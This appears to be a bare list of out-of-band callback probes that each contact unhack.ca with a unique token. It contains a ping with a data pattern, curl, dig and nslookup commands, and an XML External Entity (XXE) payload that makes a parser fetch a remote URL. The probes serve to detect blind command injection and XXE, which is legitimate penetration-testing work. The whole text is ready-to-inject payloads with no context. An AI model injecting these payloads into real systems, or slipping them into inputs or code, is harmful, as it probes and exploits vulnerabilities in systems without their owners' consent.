$ ping -c1 -p 00f1f59145c446f3d0134773b5c2e900 unhack.ca
 

$ curl http://unhack.ca/p/f1f59145c446f3d0134773b5c2e9
 

$ dig f1f59145c446f3d0134773b5c2e9 @unhack.ca
 

$ dig f1f59145c446f3d0134773b5c2e9.ns.unhack.ca
 

C:\> nslookup f1f59145c446f3d0134773b5c2e9 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/f1f59145c446f3d0134773b5c2e9">]>
    <foo>&xxe;</foo>